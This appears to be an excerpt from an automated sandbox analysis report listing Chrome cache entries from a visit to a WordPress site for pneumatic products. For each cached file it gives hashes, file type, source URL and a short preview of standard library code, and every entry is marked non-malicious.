File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	376
Entropy (8bit):	6.809026691996442
Encrypted:	false
SSDEEP:
MD5:	9C8EC8BDA040F304133FE1A873394F0C
SHA1:	06CA3C5DD2E513085E3D6F40AA59B4274E36EE93
SHA-256:	F69D80A51C953686093BC222C24DA5D054C393D1BC1E8FDDCCA71F2210358C03
SHA-512:	DAF048A1804802954867CBAB8C6C00E9A0C32D932F25A22C24ECF969967F70D6FA72E2E08226BDD7C458C99010583788DBE1AB3FB67F1C420012B736A358F78F
Malicious:	false
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.wo 28 dec 2005 13:25:46 +01004......tIME......&lx......pHYs...........~.....gAMA......a.....IDATx.cd.......$....H..j ....?.d.....X@......s.a.v.!...._.......Ox0t.....f}.Zr`...=.....2.._Y....icB6..... .......Q.9?....!m...m{....#EH.A...J(....&.`...........0_.......a...^.j0"".......OhBa.&+d;..Pm..UE-..`~....IEND.B`.

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45376)
Category:	downloaded
Size (bytes):	47502
Entropy (8bit):	4.991433783234046
Encrypted:	false
SSDEEP:
MD5:	F21F3FE402F86582E34D676987C068DF
SHA1:	378915ADC92CE0391E4CD3995E84FD0D9629C253
SHA-256:	87F0C53DDE146137509DF6C42271BBD779F2B78BD0A67B9544F043E7EF63EC99
SHA-512:	BA84516DB05C7F3DA41817C119E27BDE068A4AA9FF886B3674B824CA9544831B1008E02A8C1476C5B60764BE3AD0C7C8FEDF85020D10EE52E7C0CA3EE274A17D
Malicious:	false
URL:	https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/frontend.min.css?ver=3.7.9
Preview:	@charset "UTF-8";address,blockquote,body,dd,dl,dt,fieldset,figure,h1,h2,h3,h4,h5,h6,hr,html,iframe,legend,li,ol,p,pre,textarea,ul{border:0;font-size:100%;font-style:inherit;font-weight:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}html{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}main,nav{display:block}progress{display:inline-block;vertical-align:baseline}a{background-color:transparent}a:active{outline:0}a,a:focus,a:hover,a:visited{text-decoration:none}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:0}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (19138), with no line terminators
Category:	downloaded
Size (bytes):	19142
Entropy (8bit):	5.211542899822856
Encrypted:	false
SSDEEP:
MD5:	57459B58FD7665A5E20B2345463DF9C9
SHA1:	71C3B177AD1412D5E0B56D99F18BC345148DF88B
SHA-256:	6FECB89A29EE2BD397BB1BF58ECAA530A76F0654DB71FADEFD3CC70B0BC302BF
SHA-512:	2604A70A70AFF48B6A8F59BD6D3B56BB5EBAFC3BE40CE17FB0A4F00D498154AEC16273EBDBB4335633A56558D3B44DA879600F1D960DAD94ED7E362FEF49390C
Malicious:	false
URL:	https://www.woluntech.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
Preview:	!function(t){"use strict";var n,r,e;r={},(e=function(t){if(r[t])return r[t].exports;var o=r[t]={i:t,l:!1,exports:{}};return n[t].call(o.exports,o,o.exports,e),o.l=!0,o.exports}).m=n=[function(t,n,r){r(1),r(67),r(68),r(72),r(79),t.exports=r(85)},function(n,r,e){var o=e(2),i=e(36),u=e(57),c=e(56);e=e(62);o({target:"Array",proto:!0},{at:function(n){var r=i(this),e=u(r);return(n=0<=(n=c(n))?n:e+n)<0\|\|e<=n?t:r[n]}}),e("at")},function(n,r,e){var o=e(3),i=e(4).f,u=e(40),c=e(43),f=e(34),a=e(50),p=e(61);n.exports=function(n,r){var e,s,l,y=n.target,v=n.global,d=n.stat,b=v?o:d?o[y]\|\|f(y,{}):(o[y]\|\|{}).prototype;if(b)for(e in r){if(s=r[e],l=n.noTargetGet?(l=i(b,e))&&l.value:b[e],!p(v?e:y+(d?".":"#")+e,n.forced)&&l!==t){if(typeof s==typeof l)continue;a(s,l)}(n.sham\|\|l&&l.sham)&&u(s,"sham",!0),c(b,e,s,n)}}},function(t,n){function r(t){return t&&t.Math==Math&&t}t.exports=r("object"==typeof globalThis&&globalThis)\|\|r("object"==typeof window&&window)\|\|r("object"==typeof self&&self)\|\|r("object"==typeof

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	502
Entropy (8bit):	7.221497437830791
Encrypted:	false
SSDEEP:
MD5:	AB347AE5BE9857BF2CD91FC8203FF20C
SHA1:	136EE4FFB05EE0C980C4BEAE0BC45ABE8C103A2F
SHA-256:	84554AD84B590AA4D161301D4ABB95D5D3B7013F38BBB0C02BA0D506CE3C548E
SHA-512:	6DD5D91F93FA7BC5C6ED1E8B5DD80C3288524CEFCADEBA5F69223FAA2799C91A272B210698DAA059BE48ED6D23F7B7AAE0DA4348A36991347990A1281C5E9C85
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/en_US.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 17:13:17 +0100r.."....tIME.......l......pHYs...........~.....gAMA......a....NIDATx...J.@..gJB..M. .....\....+7..(......B..W.k..4..d2..If.qZw.i.gq.s.....F.....*.H.g.zC.y.9..>.......JK.h8.l..v:f...'.O.]....P3.4.[v.e..EQq.E.S...\.RP.5.H..}... ,.m.04..'.gh.b.u5BT. .(gYQUR.B...>}....1MJ.8.F.(M...&I....3..k.~3....:."..ROp.Mv...........yJ..?.a.....@.......]...x\....'.Bi.9...B.....d..(....w.R......mS.....;.-.-....IEND.B`.

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4875)
Category:	dropped
Size (bytes):	4910
Entropy (8bit):	5.12606043604223
Encrypted:	false
SSDEEP:
MD5:	B33AB4D5DCF02436276A717E9D1B7C18
SHA1:	F47B9A9C41B3B11C9DFFABCA22945727C3EC6566
SHA-256:	9BD82960D99B3A76F4AF77A88A346BD61F87BAC5FF2F385EE28CD669D8F22134
SHA-512:	63C42992420CB24DA1C9590E35FA835D1881763656C1565C250AE91E487FC48F7B741C5130A97987A1ADA335FB9B9711487A88ECB4D23D5E6A1054B4648B9DE8
Malicious:	false
Preview:	/! This file is auto-generated /.!function(){"use strict";var n={d:function(t,r){for(var e in r)n.o(r,e)&&!n.o(t,e)&&Object.defineProperty(t,e,{enumerable:!0,get:r[e]})},o:function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},r:function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})}},t={};n.r(t),n.d(t,{actions:function(){return S},addAction:function(){return v},addFilter:function(){return m},applyFilters:function(){return k},createHooks:function(){return h},currentAction:function(){return w},currentFilter:function(){return I},defaultHooks:function(){return f},didAction:function(){return O},didFilter:function(){return j},doAction:function(){return b},doingAction:function(){return x},doingFilter:function(){return T},filters:function(){return z},hasAction:function(){return _},hasFilter:function(){return g},removeAction:function(){return p},removeAllActions:functio

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 178x183, components 3
Category:	downloaded
Size (bytes):	6664
Entropy (8bit):	7.3644766405644315
Encrypted:	false
SSDEEP:
MD5:	92C97F05A311EA240F9432D22ABA7837
SHA1:	EF9D2FBB56C9821F0817DB7A8B30F2D9822AD958
SHA-256:	2E843A500125C7A216FB2C36AF0CEBEA1E0E68FEE32607216EB75F529D782E37
SHA-512:	FFD148906EFA6731EAD27E67794B700C17322C3C77FDEF7FDB87857D89E250A6346481F2686908C51A5EE23C502E70ACE6F6E8C6E3C3E55D3BA20CC04FD513D0
Malicious:	false
URL:	https://www.woluntech.com/wp-content/uploads/2025/01/Captureddd.jpg
Preview:	......JFIF.....`.`......Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................GO TECH COMPUTERS...................................90..........90..............................................................................................................................................................................................................................................................................................2025:01:10 08:27:53.2025:01:10 08:27:53...G.O. .T.E.C.H. .C.O.M.P.U.T.E.R.S......$http://ns.adobe.com/xap/1.0/.<?xpacket begin='.' id='W5M0MpCehiHzreSzNTczkc9d'?>..<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	241
Entropy (8bit):	6.185400686971227
Encrypted:	false
SSDEEP:
MD5:	3E4733A9ECB758D58EEC825CC227FEE2
SHA1:	DED9F036F70FBB4253F8B3A08ADAB51DE76E84FD
SHA-256:	BC78F50B6E27078E91FE318C8EBDC52BAC6CABBE5C298F471BC60292E126E1A5
SHA-512:	E0656DE4D204B826E186A4B8F86EEAADC7DD7ADAE86AB11CC43ED270EBAD29B7D019A8752D6638707545F3A7556BC1B23116897475FBF8BA712684EDEB175D79
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ru_RU.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 16:40:32 +0100%.%<....tIME.....-)*i.J....pHYs...........~.....gAMA......a....IIDATx.c...?...=@..........}.............1..ko..^.a..0bA6.H=Pm.a."........`........IEND.B`.

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (60846)
Category:	downloaded
Size (bytes):	150863
Entropy (8bit):	5.13900000509937
Encrypted:	false
SSDEEP:
MD5:	23B0733C4C29BFE53FB9E5C3C589688F
SHA1:	EBAFA99641219F071F8853920293028D5F9ABA5C
SHA-256:	4785698DDFF2A4D9F35A2922A68C89B8E2C75B2CA98B99283BE08B0F8C6C0D1B
SHA-512:	E9687A05DE83538A709F0F508D7739C82649499D3352610055C9EC429BAB0544AB261F71257039BE7E01B8F9ACCD77A7E527406AE51185F6D11ADBDF99205D43
Malicious:	false
URL:	https://www.woluntech.com/oders-pdf/
Preview:	<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">.<!DOCTYPE html>.<html lang="en-US">.<head>.<meta charset="UTF-8">.<meta name="viewport" content="width=device-width, initial-scale=1">.<link rel="profile" href="https://gmpg.org/xfn/11">..<title>wt - Wolun Pneumatic Products</title>. <style>. #wpadminbar #wp-admin-bar-p404_free_top_button .ab-icon:before {. content: "\f103";. color:red;. top: 2px;. }. </style>. <meta name="dc.title" content="wt - Wolun Pneumatic Products">.<meta name="dc.relation" content="https://www.woluntech.com/oders-pdf/">.<meta name="dc.source" content="https://www.woluntech.com/">.<meta name="dc.language" content="en_US">.<meta name="robots" content="index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1">.<link rel="canonical" href="https://www.woluntech.com/oders-pdf/">.<meta property="og:url" content="https://www.woluntech.com/oders-pdf/">.<meta property

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1628), with no line terminators
Category:	downloaded
Size (bytes):	1628
Entropy (8bit):	4.692322777534687
Encrypted:	false
SSDEEP:
MD5:	1518F3EFC52F635B997899F0D1D00F06
SHA1:	B9452A209280FFB0AF88CEAB115D4077F7FC7136
SHA-256:	354F43E55900A6290B7C02BF2AD18BC6AAA246DD23CCC48968D7073C24BC2135
SHA-512:	4F5B47A9860B4423BBBBE7F25B745B1A95BA9F6F6FF4232F7060CF875054FF84775BF8F0FD4402E5F358776797EBDE1B33BA09520926936115DD78A710685B41
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/siteorigin-panels/css/front-flex.min.css?ver=2.31.3
Preview:	.panel-grid.panel-has-style>.panel-row-style,.panel-grid.panel-no-style{display:flex;-ms-flex-wrap:wrap;flex-wrap:nowrap;-ms-justify-content:space-between;justify-content:space-between}.panel-grid .so-parallax{position:relative}.panel-grid .so-parallax>:not(.simpleParallax){position:relative;z-index:1}.panel-grid .so-parallax .simpleParallax{overflow:hidden}.panel-grid .so-parallax .simpleParallax,.panel-grid .so-parallax img[data-siteorigin-parallax]{bottom:0;left:0;position:absolute;right:0;top:0;width:100%;z-index:0}.panel-background-overlay{position:absolute;top:0;right:0;bottom:0;left:0;z-index:-1}.panel-has-overlay .panel-cell-style,.panel-has-overlay .panel-row-style,.panel-has-overlay .panel-widget-style{overflow:hidden;position:relative;z-index:1}.panel-layout.panel-is-rtl .panel-grid.panel-has-style>.panel-row-style,.panel-layout.panel-is-rtl .panel-grid.panel-no-style{-ms-flex-direction:row-reverse;flex-direction:row-reverse}.panel-grid-cell{-ms-box-sizing:border-box;box-siz

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4918)
Category:	dropped
Size (bytes):	4957
Entropy (8bit):	5.387178733387992
Encrypted:	false
SSDEEP:
MD5:	530DFFBFB4C3EFD2C496617D77FB2448
SHA1:	1197E6BA4AC2DACE2A8A63C5283ED0B590610152
SHA-256:	08C70FAE8C5A06E27F90B3B8BAC23C07318FE3EAD7CEBD2A7AC2E56A7A6C00E0
SHA-512:	9BF443D958F9C39221EE999E3EA52D3EC24B1E7A60716082523F4178086F6C56499C462C0992167D36B7866CE0E69F3E700CDEFF590D5A1E1F71A5A21A99B00F
Malicious:	false
Preview:	/! elementor - v3.6.8 - 27-07-2022 /.(()=>{"use strict";var e,r,_,t,i,a={},n={};function __webpack_require__(e){var r=n[e];if(void 0!==r)return r.exports;var _=n[e]={exports:{}};return a[e](_,_.exports,__webpack_require__),_.exports}__webpack_require__.m=a,e=[],__webpack_require__.O=(r,_,t,i)=>{if(!_){var a=1/0;for(c=0;c<e.length;c++){for(var[_,t,i]=e[c],n=!0,o=0;o<_.length;o++)(!1&i\|\|a>=i)&&Object.keys(__webpack_require__.O).every((e=>__webpack_require__.O[e](_[o])))?_.splice(o--,1):(n=!1,i<a&&(a=i));if(n){e.splice(c--,1);var u=t();void 0!==u&&(r=u)}}return r}i=i\|\|0;for(var c=e.length;c>0&&e[c-1][2]>i;c--)e[c]=e[c-1];e[c]=[_,t,i]},_=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,__webpack_require__.t=function(e,t){if(1&t&&(e=this(e)),8&t)return e;if("object"==typeof e&&e){if(4&t&&e.__esModule)return e;if(16&t&&"function"==typeof e.then)return e}var i=Object.create(null);__webpack_require__.r(i);var a={};r=r\|\|[null,_({}),_([]),_(_)];for(var n=2&t&&e;"object"==typeof

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18876)
Category:	dropped
Size (bytes):	18911
Entropy (8bit):	5.194418911503605
Encrypted:	false
SSDEEP:
MD5:	42AA17E1F850A414638EE4A32A3AA807
SHA1:	2E42D03A5E042701191650C041EAE1CFB2D6C7B9
SHA-256:	0DA4791B446818516F710C51707081AEC7B23A7C5212FC0B2629C973210136A4
SHA-512:	EDB01D61CB621880F18B83C753510EE0464590C18ACE73ED713193F0C030201E3F2DADE9F599740447328C4E2A64D538C8031BA5BEFC82F600CD2F080B74F99B
Malicious:	false
Preview:	/! This file is auto-generated /.!function(n,r){var t,e;"object"==typeof exports&&"undefined"!=typeof module?module.exports=r():"function"==typeof define&&define.amd?define("underscore",r):(n="undefined"!=typeof globalThis?globalThis:n\|\|self,t=n._,(e=n._=r()).noConflict=function(){return n._=t,e})}(this,function(){var n="1.13.3",r="object"==typeof self&&self.self===self&&self\|\|"object"==typeof global&&global.global===global&&global\|\|Function("return this")()\|\|{},e=Array.prototype,F=Object.prototype,V="undefined"!=typeof Symbol?Symbol.prototype:null,P=e.push,a=e.slice,s=F.toString,q=F.hasOwnProperty,t="undefined"!=typeof ArrayBuffer,u="undefined"!=typeof DataView,U=Array.isArray,W=Object.keys,z=Object.create,L=t&&ArrayBuffer.isView,$=isNaN,C=isFinite,K=!{toString:null}.propertyIsEnumerable("toString"),J=["valueOf","isPrototypeOf","toString","propertyIsEnumerable","hasOwnProperty","toLocaleString"],G=Math.pow(2,53)-1;function l(u,i){return i=null==i?u.length-1:+i,function(){for(var n=M

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10544)
Category:	dropped
Size (bytes):	10682
Entropy (8bit):	5.103165363656437
Encrypted:	false
SSDEEP:
MD5:	4EEE50AC6F4F364BA3A284D0753DDAE3
SHA1:	A8E7E824E6824AE0B370FF36E2C07CA07276FAE0
SHA-256:	B936DB5880AA9B6B2F26A8D32FC2B689FB75F69D971B94194F16DBA801221FFE
SHA-512:	AD7154338F51A1FD2745D1321412F1D418B76CD99F8B439E5ECBD8CDAA7AC09355EE30D4F26044988ACD739BA8B059CA91316798CB0E9B6432D86F006AD49B02
Malicious:	false
Preview:	/! dialogs-manager v4.9.0 \| (c) Kobi Zaltzberg \| https://github.com/kobizz/dialogs-manager/blob/master/LICENSE.txt. 2021-08-15 18:13 /.!function(p,t){"use strict";var y={widgetsTypes:{},createWidgetType:function(t,e,n){n=n\|\|this.Widget;function i(){n.apply(this,arguments)}var o=i.prototype=new n(t);return o.types=o.types.concat([t]),p.extend(o,e),(o.constructor=i).extend=function(t,e){return y.createWidgetType(t,e,i)},i},addWidgetType:function(t,e,n){return e&&e.prototype instanceof this.Widget?this.widgetsTypes[t]=e:this.widgetsTypes[t]=this.createWidgetType(t,e,n)},getWidgetType:function(t){return this.widgetsTypes[t]}};y.Instance=function(){var n=this,e={},i={};this.createWidget=function(t,e){t=new(y.getWidgetType(t))(t);return t.init(n,e=e\|\|{}),t},this.getSettings=function(t){return t?i[t]:Object.create(i)},this.init=function(t){return p.extend(i,{classPrefix:"dialog",effects:{show:"fadeIn",hide:"fadeOut"}},t),e.body=p("body"),n},n.init()},y.Widget=function(n){function e(t,e){var

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	502
Entropy (8bit):	7.221497437830791
Encrypted:	false
SSDEEP:
MD5:	AB347AE5BE9857BF2CD91FC8203FF20C
SHA1:	136EE4FFB05EE0C980C4BEAE0BC45ABE8C103A2F
SHA-256:	84554AD84B590AA4D161301D4ABB95D5D3B7013F38BBB0C02BA0D506CE3C548E
SHA-512:	6DD5D91F93FA7BC5C6ED1E8B5DD80C3288524CEFCADEBA5F69223FAA2799C91A272B210698DAA059BE48ED6D23F7B7AAE0DA4348A36991347990A1281C5E9C85
Malicious:	false
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 17:13:17 +0100r.."....tIME.......l......pHYs...........~.....gAMA......a....NIDATx...J.@..gJB..M. .....\....+7..(......B..W.k..4..d2..If.qZw.i.gq.s.....F.....*.H.g.zC.y.9..>.......JK.h8.l..v:f...'.O.]....P3.4.[v.e..EQq.E.S...\.RP.5.H..}... ,.m.04..'.gh.b.u5BT. .(gYQUR.B...>}....1MJ.8.F.(M...&I....3..k.~3....:."..ROp.Mv...........yJ..?.a.....@.......]...x\....'.Bi.9...B.....d..(....w.R......mS.....;.-.-....IEND.B`.

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21374)
Category:	dropped
Size (bytes):	21417
Entropy (8bit):	5.114292128750595
Encrypted:	false
SSDEEP:
MD5:	67C1D82AC2CFD1677A10D157824CCF21
SHA1:	1552A6D961BD0854EBD6B1A4603CAB6BBE511BC7
SHA-256:	6CC88F6ECC4A347B5CEDE85ACA7E298A306AAD67DFD4D80A59E66D254F513BA8
SHA-512:	81E49B2F0842B3010D6651D22530CA78E5477F4E1DD38363D995CF9AF3A8C42D4D21DDA715C6AE9EF2E3913DD262F6AC5563B691E7250ECCC1ADB87074D02DA8
Malicious:	false
Preview:	/! elementor-pro - v3.7.3 - 31-07-2022 /.(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro\|\|[]).push([[819],{2:(e,t,n)=>{"use strict";var s=n(3203);n(4242);var i=s(n(4774)),o=s(n(9575)),r=s(n(6254)),a=s(n(5161)),l=s(n(5039)),c=s(n(9210));class ElementorProFrontend extends elementorModules.ViewModule{onInit(){super.onInit(),this.config=ElementorProFrontendConfig,this.modules={}}bindEvents(){jQuery(window).on("elementor/frontend/init",this.onElementorFrontendInit.bind(this))}initModules(){let e={motionFX:i.default,sticky:o.default,codeHighlight:r.default,videoPlaylist:a.default,payments:l.default,progressTracker:c.default};elementorProFrontend.trigger("elementor-pro/modules/init:before"),elementorProFrontend.trigger("elementor-pro/modules/init/before"),e=elementorFrontend.hooks.applyFilters("elementor-pro/frontend/handlers",e),jQuery.each(e,((e,t)=>{this.modules[e]=new t})),this.modules.linkActions={addAction:function(){elementorFrontend.utils.urlActions.addAction(...argum

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5141)
Category:	dropped
Size (bytes):	5184
Entropy (8bit):	5.469220498657934
Encrypted:	false
SSDEEP:
MD5:	F8BC14815676C9258A8F9A7E2F3BC01A
SHA1:	948E1E948C36C1CFFBC377E7294C26583FD1403C
SHA-256:	6F70F923B2AB16028477CAB0D08B65BBA7902871F49A4F6EDDA814DA01C16449
SHA-512:	D5B3A7F4B014AB5F6D72E4F15DB4E5FFAC98FDEB41A43B7816A906815C8E756CA68E099E140267D8FA3563E35BD01DC13B79E0BE71E1ADDAEE2FB36FF9A333A6
Malicious:	false
Preview:	/! elementor-pro - v3.7.3 - 31-07-2022 /.(()=>{"use strict";var e,r,_,a={},n={};function __webpack_require__(e){var r=n[e];if(void 0!==r)return r.exports;var _=n[e]={exports:{}};return a[e](_,_.exports,__webpack_require__),_.exports}__webpack_require__.m=a,e=[],__webpack_require__.O=(r,_,a,n)=>{if(!_){var c=1/0;for(o=0;o<e.length;o++){for(var[_,a,n]=e[o],i=!0,t=0;t<_.length;t++)(!1&n\|\|c>=n)&&Object.keys(__webpack_require__.O).every((e=>__webpack_require__.O[e](_[t])))?_.splice(t--,1):(i=!1,n<c&&(c=n));if(i){e.splice(o--,1);var b=a();void 0!==b&&(r=b)}}return r}n=n\|\|0;for(var o=e.length;o>0&&e[o-1][2]>n;o--)e[o]=e[o-1];e[o]=[_,a,n]},__webpack_require__.f={},__webpack_require__.e=e=>Promise.all(Object.keys(__webpack_require__.f).reduce(((r,_)=>(__webpack_require__.f[_](e,r),r)),[])),__webpack_require__.u=e=>714===e?"code-highlight.28a979661569ddbbf60d.bundle.min.js":721===e?"video-playlist.20d0d34e5188d18f240e.bundle.min.js":256===e?"paypal-button.3d0d5af7df85963df32c.bundle.min.js":15

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1120), with no line terminators
Category:	downloaded
Size (bytes):	1120
Entropy (8bit):	4.824833507993101
Encrypted:	false
SSDEEP:
MD5:	787A6494E76DA16D8CE024C97D2EDA1F
SHA1:	D78B41457A82E550347BD3485E0333A3A84657AB
SHA-256:	8CEE5423FAEAA6409A469C1897263480EF3B1A6632F01882F938CE95ED0A85B5
SHA-512:	66AFD70115E9D489F0496F01153C03DA1005DA9347AB74CE135C283B30BC3D6C34AE87C030595E8A97ACDAC6DD0823CD7617CA94862A87DF931B0409390C8B9C
Malicious:	false
URL:	https://www.woluntech.com/wp-content/uploads/elementor/css/post-3049.css?ver=1736408609
Preview:	.elementor-kit-3049{--e-global-color-primary:#64C7F1;--e-global-color-secondary:#54595F;--e-global-color-text:#7A7A7A;--e-global-color-accent:#61CE70;--e-global-typography-primary-font-family:"Roboto";--e-global-typography-primary-font-weight:600;--e-global-typography-secondary-font-family:"Roboto Slab";--e-global-typography-secondary-font-weight:400;--e-global-typography-text-font-family:"Roboto";--e-global-typography-text-font-weight:400;--e-global-typography-accent-font-family:"Roboto";--e-global-typography-accent-font-weight:500;}.elementor-section.elementor-section-boxed > .elementor-container{max-width:1200px;}.e-container{--container-max-width:1200px;}.elementor-widget:not(:last-child){margin-bottom:15px;}.elementor-element{--widgets-spacing:15px;}{}h1.entry-title{display:var(--page-title-display);}@media(max-width:1024px){.elementor-section.elementor-section-boxed > .elementor-container{max-width:1024px;}.e-container{--container-max-width:1024px;}}@media(max-width:767px){.eleme

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89521
Entropy (8bit):	5.289973268315515
Encrypted:	false
SSDEEP:
MD5:	02DD5D04ADD4759122013C5AB4DC5CC2
SHA1:	A45A56E396AC549B4FF39B696CE9E0C16A7612DE
SHA-256:	BD4DE6A3FC0FB68D6F76BA7B93514B96A92E585C295B5351C31AD92A4B0777EA
SHA-512:	04690D9875E98F5AE6BF94F5C71B7A0177B374BC09609A0F58312E1C337348749A40E07FE226737DC248BD8FE2F6A489071258619AFFC7F1DF644E4255159615
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (16290), with no line terminators
Category:	downloaded
Size (bytes):	16290
Entropy (8bit):	5.1029343906507885
Encrypted:	false
SSDEEP:
MD5:	F8F6DF31AC65B2087BF263E73E03B578
SHA1:	2AF7C97962DC88046FF4887095ED75D0AF9D0614
SHA-256:	CC2982E4DDFA3DAEC1C86AB097A4374478176753BC5F288DD1AA811B8BEE8577
SHA-512:	26348783209C67455978186CDCB5E1AC4AF28332130D7FB507F8E4BD23801FD9259811B0B4AB4FF14A2B0DD8E665B69CA43B38DD1AC2AD3C0AD96EF4994FD866
Malicious:	false
URL:	https://www.woluntech.com/wp-content/themes/astra/assets/js/minified/frontend.min.js?ver=3.7.9
Preview:	var astraGetParents=function(e,t){Element.prototype.matches\|\|(Element.prototype.matches=Element.prototype.matchesSelector\|\|Element.prototype.mozMatchesSelector\|\|Element.prototype.msMatchesSelector\|\|Element.prototype.oMatchesSelector\|\|Element.prototype.webkitMatchesSelector\|\|function(e){for(var t=(this.document\|\|this.ownerDocument).querySelectorAll(e),a=t.length;0<=--a&&t.item(a)!==this;);return-1<a});for(var a=[];e&&e!==document;e=e.parentNode)(!t\|\|e.matches(t))&&a.push(e);return a},getParents=function(e,t){console.warn("getParents() function has been deprecated since version 2.5.0 or above of Astra Theme and will be removed in the future. Use astraGetParents() instead."),astraGetParents(e,t)},astraToggleClass=function(e,t){e.classList.contains(t)?e.classList.remove(t):e.classList.add(t)},toggleClass=function(e,t){console.warn("toggleClass() function has been deprecated since version 2.5.0 or above of Astra Theme and will be removed in the future. Use astraToggleClass() instead."),astr

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (40438)
Category:	downloaded
Size (bytes):	40477
Entropy (8bit):	5.256298975250402
Encrypted:	false
SSDEEP:
MD5:	AB2ED7A7A595BDE264A98935F0F50C7E
SHA1:	9CB6EE07B4F060CA17DF0700FE98AD73DF60AF09
SHA-256:	37209A2B751204DC01191986B6EF47F27463285DE8A341729C514D70A19A90FE
SHA-512:	31A1C775349A3766B2617C40B15EE14A4C59CC73D478A5CADD4359651B0110FB5FBBBCE3033B6DCD0E6A07BD386EEADE5571567CF2F1E62D22D4436E914C7B66
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.6.8
